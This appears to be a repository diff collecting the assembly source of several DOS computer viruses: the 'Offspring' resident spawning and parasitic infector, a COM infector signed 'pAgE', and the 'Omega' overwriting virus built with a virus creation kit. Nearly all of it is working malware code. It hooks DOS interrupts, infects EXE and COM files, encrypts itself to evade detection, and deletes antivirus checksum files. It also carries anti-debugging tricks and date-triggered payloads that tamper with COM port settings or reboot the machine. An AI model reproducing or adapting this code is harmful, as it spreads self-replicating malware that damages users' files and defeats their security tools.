mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2] ; store old int addresses
mov bx,es: [21h*4]
mov ds: old21_seg,ax
mov ds: old21_ofs,bx
mov ax, es: [20h*4+2]
mov bx, es:[20h*4]
mov ds: old_20_seg,ax
mov ds: old_20_ofs,bx
mov ax, es:[27h*4+2]
mov bx, es:[27h*4]
mov ds: old_27_seg,ax
mov ds: old_27_ofs,bx
cli ; disable interrrupts
mov es: [21h*4+2],ds ; Set new addresses
lea ax, new21
mov es: [21h*4],ax
mov es: [20h*4+2],ds
lea ax, new20
mov es: [20h*4],ax
mov es: [27h*4+2],ds
lea ax, new27
mov es: [27h*4],ax
sti ; re-enable interrupts
no_install:
push cs ; Restore segment regs
pop ds
push cs
pop es
cmp byte ptr vtype[bp],parastic ; parastic infection?
je com_return ; yes, return to start of COM
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
inc dir_infect
mov si,bp ;
mov cx,7 ; Restore original first
add si,offset org_bytes ; seven bytes of COM file
mov di,0100h ;
cld ;
rep movsb ;
mov ax,0100h ; Jump back to 100h - start of
push ax ; original program
ret ;
main endp
;************************************************************************
; Interrupt handlers
;************************************************************************
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 27h - terminate stay resident
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new27 proc
dec byte ptr cs:[dir_infect] ; decrement running counter
db 0EAh ; Jump to original offset, seg
old_27_ofs dw 0
old_27_seg dw 0
new27 endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; INT 20h - terminate process
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new20 proc
dec byte ptr cs:[dir_infect] ; decrement running counter
db 0EAh ; Jump to original offset, seg
old_20_ofs dw 0
old_20_seg dw 0
new20 endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 24h - Critical Error Handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
eh proc
mov al,3 ; fail call
iret ; interrupt return
eh endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 21h - DOS function calls
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ax,4b00h ; exec func?
jne check_other
inc byte ptr cs:[dir_infect]
jmp exec_func
check_other:
cmp ah,3Bh ; change directory?
je kill_func ; yes, kill CHKLIST.* files
cmp ah,0Eh ; change drive?
je kill_func ; yes, kill CHKLIST.* files
cmp ah,4ch ; terminate process?
je dec_counter ; yes, decrement running counter
cmp ah,31h ; tsr?
je dec_counter ; yes, decrement running counter
cmp ah,00h ; terminate process?
je dec_counter ; yes, decrement running counter
jmp end_21 ; return to original INT 21h
kill_func:
mov byte ptr cs:[kill_now],1 ; remember it's time to kill CRC
exec_func:
cmp ch,0FBh ; Is our virus executing this prog?
je end_21 ; yes, return to orginal INT 21h
run_res:
pushf ; Push flags
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs ; ds=cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ; yes, back to 640k
cmp ah,48h ; alloc. mem block? If so we subtract 4k from
je set_mem ; total system memory.
jmp no_mem_func ; don't f00l with memory now
set_mem:
sub word ptr es: [413h],4 ; Subtract 4k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],4 ; Add 4k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh ; Get DTA Address
int 21h ;
mov ax,es ; Save it so we can restore it
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs ; es=cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta ; restore DTA
mov ax,word ptr old_dta+2 ;
mov ds,ax ;
mov ah,1ah ;
int 21h ;
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
dec_counter:
dec byte ptr cs:[dir_infect] ; decrement running counter
jmp end_21
new21 endp ; End of handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Clear ff/fn buf
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_buf proc
mov word ptr fcb,0 ; Clear ff/fn buffer
lea si, fcb
lea di, fcb+2
mov cx, 22
cld
rep movsw
ret
clear_buf endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Resident - This is called from out INT 21h handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
resident proc
xor ax,ax ; es=segment 0
mov es,ax ; ..
mov ax,es:[24h*4+2] ; get segment of INT 24h
mov bx,es:[24h*4] ; get offset of INT 24h
mov old_eh_seg,ax ; save segment
mov old_eh_off,bx ; save offset
cli ; turn off interrupts
mov es:[24h*4+2],ds ; set segment to our handler
lea ax,eh ;
mov es:[24h*4],ax ; set offset to our handler
sti
push ds ; es=ds
pop es
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, fcb
int 21h
mov byte ptr vtype,spawn ; infection type = spawning
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data ; offset past encrypt.
cmp byte ptr kill_now, 1 ; change dir, or change drive func?
jne no_kill ; nope.. forget this shit
cmp dir_infect,0 ; are we running a program right now?
je cont_res ; nope.. keep going
jmp fd2 ; yes.. don't infect this time
cont_res:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; KIll chklist.* (MSAV,CPAV) and anti-vir.dat (TBAV) files
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
mov chk_spec_addr, offset chk_spec ; kill CHKLIST.* first
xor cx,cx ; keep track of which we've killed
kill_another_spec:
push cx
call clear_buf ; clear FCB
mov ah, 4eh ; Findfirst
xor cx, cx ; Set normal file attribute search
mov dx, chk_spec_addr
int 21h
jc done_kill ; none found.. done
kill_loop:
mov ax,4301h ; Set file attributes to null
xor cx,cx ;
lea dx,f_name ;
int 21h ;
mov ah,3ch ; create file = nullify size
xor cx,cx ;
lea dx,f_name ;
int 21h ;
push ax ; get handle
pop bx ;
mov ah,3eh ; close file
int 21h ;
mov ah,41h ; delete the file to finish 'er off
lea dx,f_name ;
int 21h ;
mov ah,4fh ; find next file
int 21h ;
jnc kill_loop ; if more then kill 'em
done_kill:
pop cx ; restore spec counter
inc cx ; increment spec counter
mov chk_spec_addr,offset chk_spec2 ; new file spec to kill
cmp cx,2 ; have we already killed both?
jne kill_another_spec ; nope.. kell 'em
no_kill:
mov kill_now,0 ; we killed them this time
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
find_first:
call clear_buf ; clear FCB again
mov ah, 4eh ; Findfirst
xor cx, cx ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog ; if not.. then end this infection
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h ; get directory for
xor dl,dl ; ..spawning infections
lea si,file_dir ;
int 21h ;
cmp word ptr f_sizel,0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx ;
lm3 : ; find end of directory name
inc bx ;
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,f_name
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
loop_me: ; search for filename ext.
inc bx
cmp byte ptr fcb+1eh [bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr fcb+1eh [bx],'OC'
mov byte ptr fcb+1eh [bx+2],'M'
start_inf:
;ÄÄÄÄÄÄÄÄÄÄ
; Change jump & fill space register
;ÄÄÄÄÄÄÄÄÄÄ
cmp byte ptr new_code, 0BFh
jne inc_jmp
mov byte ptr new_code, 0B7h
mov byte ptr push_reg, 04Fh
mov nop_sub, 3Fh
inc_jmp:
inc byte ptr new_code ; incrment register
inc byte ptr push_reg ; increment register
mov dh,nop_sub ; get old register to inc/dec
mov old_nop_sub,dh ; save it.. to be used later
inc nop_sub ; increment register
jmp ok_jmp_changed
ok_jmp_changed:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Spawning infection
mov word ptr new_code+1,offset _enc
lea dx,f_name
mov cx, 02h ; read-only
or cx, 01h ; hidden
mov ah, 3ch ; Create file
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Parastic infection
parastic_inf :
lea si,f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax ; get handle
mov ah,3fh ; Read first bytes of file
mov cx,07
lea dx,org_bytes
int 21h
cmp byte ptr org_bytes+6,0E9h ; already infected?
jne cont_inf ; nope let's infect this sucker
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h ; set file pointer to beginning
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr f_sizeh ; save new address for parastic
add ax,offset _enc ;
mov word ptr new_code+1,ax ;
mov ah,40h ; write new first 7 bytes
mov cx,7 ; .. jumps to virus code
lea dx,new_code ;
int 21h ;
mov ax,4202h ; Set file pointer to end of file
xor cx,cx ;
xor dx,dx ;
int 21h
encrypt_ops:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Change encryptions ops
push bx ; save file handle
cmp pad_bytes,50 ; no more increase in file size?
je reset_pad ; if yes, reset
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr ; make note of the increase
jmp pad_ok ; don't reset pad
reset_pad:
mov word ptr pad_bytes,0 ; reset pad size
sub word ptr b_wr,50 ; make note of decrease
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov dh,byte ptr nop_sub ; which byte did we use to fill space?
cmp dh,48h ; if INC AX then we need to reset it
jne _change ; else decrement it
mov dh,40h ; reset to DEC AX
_change:
cmp dh,41h ; Don't use INC CX..
jne no_conflict ;
mov dh,48h ; Change it to DEC AX instead
no_conflict:
cmp dh,47h ; Don't use INC DI
jne no_conflict2 ;
mov dh,4Bh ; Use DEC BX Instead
no_conflict2:
cmp dh,44h ; Don't use INC SP
jne no_conflict3 ;
mov dh,4Dh ; Use DEC BP Instead
no_conflict3:
cmp dh,46h ; Don't use INC SI
jne no_conflict4
mov dh,0FBh ; Use STI instead
no_conflict4:
mov dl,dh ; mov into word reg dx
mov cx,16 ; 32 bytes
lea si,fill_space ; beginning of null space
fill_loop:
mov [si],dx ; fill null bytes with same op
inc si ;
inc si ;
loop fill_loop ;
xor cx,cx ; keep track of which we're changing
lea di,sw_byte3 ; change the first INC location
change_pos_ag:
inc cx ; make note
cmp change_num,3 ; last position?
jne cont_change ; nope.. go ahead
mov change_num,0 ; else.. reset it
cont_change:
add di,change_num ; location to put INC
mov ah,inc_op ; INC DI|SI
mov byte ptr [di],ah ; write new INC SI|DI
lea di,sw_byte4 ; now change second INC SI|DI
cmp cx,2 ; did we already change both?
jne change_pos_ag ; no, change the second
inc change_num ; increment position
mov ah,dir_infect ; save dir_infect
push ax ;
mov dir_infect,1 ; and reset it to 1
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - sec/ms
mov word ptr xor_op+2,dx ; save encryption #
mov word ptr trick_jmp+1,dx ; put same number in fake jump
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+50 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h ; make encryption routine RET
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h ; Reset it to no RETurn
pop ax ; restore dir_infect
mov dir_infect,ah
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr f_time
mov dx,word ptr f_date
int 21h
close:
mov ah, 3eh ; close file
int 21h
no_infect:
find_file:
cmp inf_count, max_inf ; Max files found?
je end_prog ; yes, end infection
mov ah,4fh ; Find next file
int 21h
jc end_prog ; if no files found.. quit
jmp next_loop ; infect the next file
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done ; nope.. we're done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done ; yep, exit already
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first ; do it again for parastic
find_done:
fd2:
xor ax,ax
mov es,ax ; es = 0
cli ; interrupts off
mov ax,old_eh_seg ; get old int 24h segment
mov bx,old_eh_off ; get old int 24h offset
mov es:[24h*4+2],ax ; restore int 24h segment
mov es:[24h*4],bx ; restore int 24h offsetn
sti ; interrupts on
ret ; return
resident endp
vtype db spawn ; Infection type
com_name db 'COMMAND.COM' ; obvious
org_bytes db 7 dup(0) ; original first seven bytes of parastic inf.
pad_bytes dw 0 ; Increase in virus size
add_mem db 0 ; Add memory back?
inc_op db 47h ; INC DI (47h) or INC SI (46h)
nop_sub db 40h ; fill byte
copyr db 28h,63h,29h,20h,0FBh,69h,72h,6Fh,67h,65h,6Eh
v_id db 0ah,0dh,'OŸŸspring Virus V0.89','$'
kill_now db 0 ; no program running? dir/disk call?
chk_spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill
chk_spec2 db 'ANTI-VIR.DAT',0 ; TBAV Checksum kill
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
change_num dw 0 ; keep track of position of INC DI|SI
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
dir_infect db 0
vend: ; End of virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; heap - not written to disk
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
chk_spec_addr dw chk_spec ; delete file spec
fname_off dw fname1 ; Offset of Filespec to use
old_nop_sub db 0
old_dta dd 0 ; Old DTA Segment:Address
old_eh_seg dw 0 ; old error handler (int 24h) seg
old_eh_off dw 0 ; old error handler (int 24h) ofs
inf_count db 0 ; How many files we have infected this run
fcb db 21 dup(0) ; fcb
attrib db 0 ; file attribute
f_time dw 0 ; file time
f_date dw 0 ; file date
f_sizeh dw 0 ; file size
f_sizel dw 0 ;
f_name db 13 dup(0) ; file name
cseg ends
end start
File diff suppressed because it is too large Load Diff
+367
View File
@@ -0,0 +1,367 @@
;
; ÖÄÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÄÒÄ ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿
; ÇÄÄ´ º ³ º º ÇÄ º ³ º
; Ð Á Ð Á ÓÄÄÙ ÄÐÄ ÐÄÄÙ Ð Á Ð
; ÖÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÒÄÄ¿
; ÓÄ¿ ÇÄÄ´ º Ä¿ ÇÄ
; ÓÄÄÙ Ð Á ÓÄÄÙ ÐÄÄÙ
;
; ...from the books of pAgE
;
.model tiny
.code
org 100h
depth_of_well equ longer_than-my_dick
my_dick:
call yump_up_and_go
yump_up_and_go: pop bp
sub bp,offset yump_up_and_go
jmp hop_over_da_shit
and_over_it_again: mov ax,3524h
int 21h
mov word ptr [bp+stash_box],bx
mov word ptr [bp+stash_box+2],es
mov ah,25h
lea dx,[bp+offset int24]
int 21h
push cs
pop es
jmp gordon_effect
hop_over_da_shit: lea si,[bp+stash_3]
mov di,100h
push di
movsw
movsb
mov byte ptr [bp+how_many],4
stupid_shit_trns: mov ah,1Ah
lea dx,[bp+new_chunk]
int 21h
mov ah,47h
mov dl,0
lea si,[bp+where_we_is]
int 21h
mov byte ptr [bp+eyelash],'\'
jmp and_over_it_again
jmp bang_bang
put_fletch_on_it proc far
yeeha_go: mov ah,0h
mov al,12h
int 10h
jmp yo_homey_1
stupid_shit_1 db 4
stupid_shit_2 dw 0
db 62h, 79h
copyright db '-->>pAgE<<--'
db '(C)1992 TuRN-THE-pAgE '
stupid_shit_5 db 'Ancient Sages'
db ' '
db ' Is one of pAgEs'
db ' '
db '$'
yo_homey_1:
push si
push di
mov si,80h
cld
call mo_stupid_shit_1
cmp byte ptr [si],0Dh
je yo_homey_4
mov cx,28h
lea di,stupid_shit_5
yo_homeyloop_2:
lodsb
cmp al,0Dh
je yo_homey_3
stosb
loop yo_homeyloop_2
yo_homey_3:
inc cx
mov al,2Eh
rep stosb
yo_homey_4:
pop di
pop si
mov dx,si
mov cx,di
mov stupid_shit_2,cx
yo_homey_5:
mov stupid_shit_1,0FFh
yo_homey_6:
add stupid_shit_1,1
mov bl,stupid_shit_1
mov cx,40
call mo_stupid_shit_2
yo_homeyloop_7:
mov al,byte ptr copyright+20h[bx]
mov ah,0eh
int 10h
inc bx
call mo_stupid_shit_3
mov dl,0FFh
mov ah,6
int 21h
jnz yo_homey_10
loop yo_homeyloop_7
cmp byte ptr copyright+20h[bx],24h
je yo_homey_5
jmp short yo_homey_6
put_fletch_on_it endp
mo_stupid_shit_1 proc near
yo_homey_8:
inc si
cmp byte ptr [si],20h
je yo_homey_8
retn
mo_stupid_shit_1 endp
mo_stupid_shit_2 proc near
push ax
push bx
push cx
push dx
mov dx,si
mov cx,di
mov ah,0Fh
int 010h
mov ax,1210h
mov bx,55h
int 10h
pop dx
pop cx
pop bx
pop ax
retn
mo_stupid_shit_2 endp
mo_stupid_shit_3 proc near
push cx
mov cx,258h
yo_homeyloop_9:
loop yo_homeyloop_9
pop cx
retn
mo_stupid_shit_3 endp
yo_homey_10:
call mo_stupid_shit_2
mov cx,4Fh
yo_homeyloop_11:
mov al,20h
mov ah,0Eh
int 10h
loop yo_homeyloop_11
mov ah,1
mov cx,stupid_shit_2
int 10h
jmp bang_bang
call fuck_da_monkey
gordon_effect: lea dx,[bp+what_we_wants]
mov ah,4eh
mov cx,7h
findfirstyump_up_and_go: nop
int 21h
mov al,0h
call tear_it_open
xchg ax,bx
mov ah,3fh
lea dx,[bp+muffler]
mov cx,1ah
int 21h
mov ah,3eh
int 21h
check_it_out:
mov ax,word ptr [bp+new_chunk+1Ah]
cmp ax,(longer_than-my_dick)
jb find_next
cmp ax,65535-(longer_than-my_dick)
ja find_next
mov bx,word ptr [bp+muffler+1]
add bx,longer_than-my_dick+3
cmp ax,bx
je find_next
jmp yo_over_here
find_next:
mov ah,4fh
jmp short findfirstyump_up_and_go
mov ah,3bh
lea dx,[bp+dot_dot]
int 21h
jnc gordon_effect
mov bx,word ptr [bp+muffler+1]
add bx,longer_than-my_dick+3
yo_over_here: mov cx,3
sub ax,cx
lea si,[bp+offset muffler]
lea di,[bp+offset stash_3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
finishgordon_effection:
push cx
xor cx,cx
call attributes
mov al,2
call tear_it_open
mov ah,40h
lea dx,[bp+muffler]
pop cx
int 21h
mov ax,4202h
xor cx,cx
cwd
int 21h
mov ah,40h
lea dx,[bp+my_dick]
mov cx,longer_than-my_dick
int 21h
mov ax,5701h
mov cx,word ptr [bp+new_chunk+16h]
mov dx,word ptr [bp+new_chunk+18h]
int 21h
mov ah,3eh
int 21h
mov ch,0
mov cl,byte ptr [bp+new_chunk+15h]
call attributes
leave_heeruh_virus:
mov ax,2524h
lds dx,[bp+offset stash_box]
int 21h
push cs
pop ds
olley: call put_fletch_on_it
tear_it_open proc near
mov ah,3dh
lea dx,[bp+new_chunk+30]
int 21h
xchg ax,bx
ret
endp tear_it_open
attributes proc near
mov ax,4301h
lea dx,[bp+new_chunk+30]
int 21h
ret
endp attributes
int24:
mov al,3
iret
yumpem_keep dd ?
how_many db ?
davey_jones dd ?
yumpem_keep2 db ?
stash_3 db 0cdh,20h,0
davey_jones2 dd ?
what_we_wants db "*.COM",0
muffler db 1ah dup (?)
stash_box dd ?
eyelash db ?
where_we_is db 64 dup (?)
new_chunk db 43 dup (?)
dot_dot db '..',0
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
; Borrowed this segment from the VCL
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
bang_bang proc near
mov cx,0025h
new_shot: push cx
mov dx,0140h
mov bx,0100h
in al,061h
and al,11111100b
fire_shot: xor al,2
out 061h,al
add dx,09248h
mov cl,3
ror dx,cl
mov cx,dx
and cx,01FFh
or cx,10
shoot_pause: loop shoot_pause
dec bx
jnz fire_shot
and al,11111100b
out 061h,al
mov bx,0002h
xor ah,ah
int 1Ah
add bx,dx
shoot_delay: int 1Ah
cmp dx,bx
jne shoot_delay
pop cx
loop new_shot
endp bang_bang
fuck_da_monkey proc near
;xor ah,ah
;int 1Ah
;xchg dx,ax
;mov dx,0FFh
out_loop: ;out dx,al
;dec dx
;jne out_loop
;mov al,0002h
;mov cx,3
;lea dx,stupid_shit1_file
;int 26h
;cli
;hlt
;jmp short $
endp fuck_da_monkey
int 20h
longer_than:
end my_dick

+539
View File
@@ -0,0 +1,539 @@
; OMEGA.ASM -- Omega: The End
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Noinger
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
flag: add bx,0
xchg bx,ax
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov cx,0014h ; Do 20 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_month
cmp ax,0009h ; Did the function return 9?
jle skip00 ; If less that or equal, skip effect
call get_day
cmp ax,0010h ; Did the function return 16?
jle skip00 ; If less that or equal, skip effect
call get_hour
cmp ax,0009h ; Did the function return 9?
jle skip00 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov cx,423Fh ; First argument is 16959
new_shot: push cx ; Save the current count
mov dx,0140h ; DX holds pitch
mov bx,0100h ; BX holds shot duration
in al,061h ; Read the speaker port
and al,11111100b ; Turn off the speaker bit
fire_shot: xor al,2 ; Toggle the speaker bit
out 061h,al ; Write AL to speaker port
add dx,09248h ;
mov cl,3 ;
ror dx,cl ; Figure out the delay time
mov cx,dx ;
and cx,01FFh ;
or cx,10 ;
shoot_pause: loop shoot_pause ; Delay a bit
dec bx ; Are we done with the shot?
jnz fire_shot ; If not, pulse the speaker
and al,11111100b ; Turn off the speaker bit
out 061h,al ; Write AL to speaker port
mov bx,0002h ; BX holds delay time (ticks)
xor ah,ah ; Get time function
int 1Ah ; BIOS timer interrupt
add bx,dx ; Add current time to delay
shoot_delay: int 1Ah ; Get the time again
cmp dx,bx ; Are we done yet?
jne shoot_delay ; If not, keep checking
pop cx ; Restore the count
loop new_shot ; Do another shot
mov si,0001h ; First argument is 1
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 03FEh],0 ; Zero COM port address
pop es ; Restore ES
end00: call get_month
cmp ax,0009h ; Did the function return 9?
jne skip01 ; If not equal, skip effect
call get_day
cmp ax,0004h ; Did the function return 4?
jle skip01 ; If less that or equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h
end01: call get_month
cmp ax,0001h ; Did the function return 1?
jne skip02 ; If not equal, skip effect
call get_day
cmp ax,0001h ; Did the function return 1?
jle skip02 ; If less that or equal, skip effect
call get_hour
cmp ax,000Fh ; Did the function return 15?
jge skip02 ; If greater than or equal, skip effect
jmp short strt02 ; Success -- skip jump
skip02: jmp end02 ; Skip the routine
strt02: mov bx,0001h ; First argument is 1
mov si,0002h ; Second argument is 2
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl bx,1 ; Convert to word index
shl si,1 ; Convert to word index
mov ax,word ptr [bx + 03FEh]; Zero COM port address
xchg word ptr [si + 03FEh],ax; Put first value in second,
mov word ptr [bx + 03FEh],ax; and second value in first!
pop es ; Restore ES
end02: call get_month
cmp ax,000Bh ; Did the function return 11?
jne skip03 ; If not equal, skip effect
call get_day
cmp ax,0004h ; Did the function return 4?
